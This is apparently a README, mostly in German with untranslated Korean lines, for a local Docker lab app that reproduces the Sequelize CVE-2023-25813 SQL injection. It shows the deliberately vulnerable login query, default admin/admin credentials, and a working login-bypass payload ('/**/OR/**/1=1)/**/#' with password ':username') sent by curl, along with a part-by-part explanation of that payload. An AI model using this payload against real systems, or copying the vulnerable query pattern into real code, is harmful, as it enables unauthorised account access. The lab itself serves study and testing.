
Implementierung der Sequelize Sql Injection-Schwachstelle
Eine Express- + MySQL-Übungs-App, um das Verhalten von Sequelize CVE-2023-25813 lokal zu überprüfen.
Dieses Projekt verwendet absichtlich eine verwundbare Sequelize-Version und ein anfälliges Login-Abfragemuster. Setzen Sie es nicht dem Internet aus und führen Sie es nur in einer lokalen Docker-Übungsumgebung aus.
localhost:3307localhost:3000Hauptfunktionen:
Es wird eine .env-Datei verwendet. Ein Beispiel finden Sie in .env.example.
DB_USER=root
DB_PASSWORD=YOUR_MYSQL_PASSWORD
DB_NAME=cve_test_db
DB_HOST=127.0.0.1
DB_PORT=3306
DB_FORWARD_PORT=3307
ADMIN_USERNAME=admin
ADMIN_PASSWORD=admin
Beim Docker-Start verwendet der App-Container nicht das lokale MySQL, sondern den db-Dienst aus Compose.
앱 컨테이너 기준 DB_HOST=db
호스트 PC 기준 DB 접속 포트=3307
Starten Sie Docker Desktop und führen Sie dann in PowerShell aus:
cd "C:\Users\hjshg\Desktop\cve-test-app"
docker compose up -d --build
Rufen Sie im Browser auf:
http://localhost:3000
Status prüfen:
docker compose ps
docker compose logs app --tail 50
Stoppen:
docker compose down
DB-Daten ebenfalls zurücksetzen:
docker compose down -v
Um direkt auf das MySQL in Docker zuzugreifen:
docker compose exec db mysql -uroot -p cve_test_db
Das Passwort ist der Wert von DB_PASSWORD in .env.
In GUI-Tools wie Workbench verbinden Sie sich mit den folgenden Werten:
Host: 127.0.0.1
Port: 3307
User: root
Password: .env의 DB_PASSWORD
Database: cve_test_db
Wenn die DB erstellt wurde, erscheinen im App-Log etwa folgende Meldungen:
cve_test_db 데이터베이스 준비 완료
admin 관리자 계정 준비 완료
데이터베이스 연결 성공
3000 번 포트에서 대기 중
Beim App-Start wird das admin-Konto automatisch mit den Werten aus .env erstellt.
Standardwerte:
아이디: admin
비밀번호: admin
Nach der Anmeldung wird oben auf der Hauptseite das aktuell angemeldete Konto angezeigt.
현재 접속 계정: admin
Navigieren Sie im Browser zu /login und geben Sie dann ein:
아이디: admin
비밀번호: admin
Bei Erfolg werden Sie zu / weitergeleitet und auf der Hauptseite wird das aktuell angemeldete Konto angezeigt.
Zur Überprüfung mit curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=admin" `
--data-urlencode "password=admin"
Erfolgskriterium:
HTTP/1.1 302 Found
Location: /
Navigieren Sie im Browser zu /login und geben Sie die folgenden Werte ein:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Bei Erfolg werden Sie nicht zu /login?error=invalid, sondern zu / weitergeleitet. Das aktuell angemeldete Konto auf der Hauptseite wird ebenfalls als angemeldeter Benutzer angezeigt.
Zur Überprüfung mit curl:
curl.exe -i -X POST http://localhost:3000/login `
-H "Content-Type: application/x-www-form-urlencoded" `
--data-urlencode "username=/**/OR/**/1=1)/**/#" `
--data-urlencode "password=:username"
Erfolgskriterium:
HTTP/1.1 302 Found
Location: /
Der verwundbare Code befindet sich in der Login-Route.
const user = await User.findOne({
where: and(
literal('username = :username'),
{ password }
),
replacements: { username: username }
});
Bei einer normalen Anmeldung sieht das SQL in etwa so aus:
WHERE (username = 'admin' AND `User`.`password` = 'admin') LIMIT 1;
Das Problem liegt darin, literal('username = :username'), { password } und replacements in derselben Abfrage zu mischen. In Sequelize 6.19.0 wird replacements auf die gesamte Abfrage angewendet, sodass auch :username im vom Benutzer eingegebenen password-Wert ersetzt werden kann.
Der Übungspayload wird wie folgt eingegeben:
username = /**/OR/**/1=1)/**/#
password = :username
Die tatsächliche Abfrage erscheint im Log dann in etwa so:
WHERE (
username = '/**/OR/**/1=1)/**/#'
AND `User`.`password` = ''/**/OR/**/1=1)/**/#''
) LIMIT 1;
Bedeutung der einzelnen Teile:
password=:username: Dies ist der Kern, der dafür sorgt, dass die username-Ersetzung auch im Passwortfeld erneut stattfindet./**/: Ein Block, der in MySQL als Kommentar behandelt wird. Er wirkt wie ein Leerzeichen, sodass SQL-Token auch dann getrennt bleiben, wenn Leerzeichen um OR entfernt werden.OR 1=1: Fügt eine immer wahre Bedingung hinzu.): Schließt die von Sequelize erzeugte AND(...)-Bedingungsgruppe.#: Ein einzeiliger MySQL-Kommentar. Er kommentiert die verbleibenden Anführungszeichen und Fragmente rund um LIMIT 1 aus, um Syntaxfehler zu vermeiden.Dadurch ist die Bedingung immer wahr, die erste Benutzerzeile wird abgerufen und die App behandelt die Anmeldung als erfolgreich.
Ein Payload, der wie der folgende auf Leerzeichen angewiesen ist, kann fehlschlagen, wenn beim Eingeben im Browser führende/abschließende Leerzeichen entfernt werden.
OR 1=1) --
Der ---Kommentar in MySQL benötigt ein nachfolgendes Leerzeichen. Fehlt das Leerzeichen, wird er nicht als Kommentar erkannt und es kommt zu einem Syntaxfehler.
In diesem Projekt wird der folgende Payload empfohlen:
아이디: /**/OR/**/1=1)/**/#
비밀번호: :username
Beim Docker-Start wird die DB nicht im lokalen MySQL-Server, sondern im Docker-Container db erstellt. Um sie vom Host-PC aus zu sehen, verbinden Sie sich mit localhost:3307.
Das ist normal. Diese App verwendet für die CVE-Übung absichtlich eine verwundbare Sequelize-Version.
Wenn Sie npm audit fix ausführen, kann die für die Übung vorgesehene Schwachstelle verschwinden.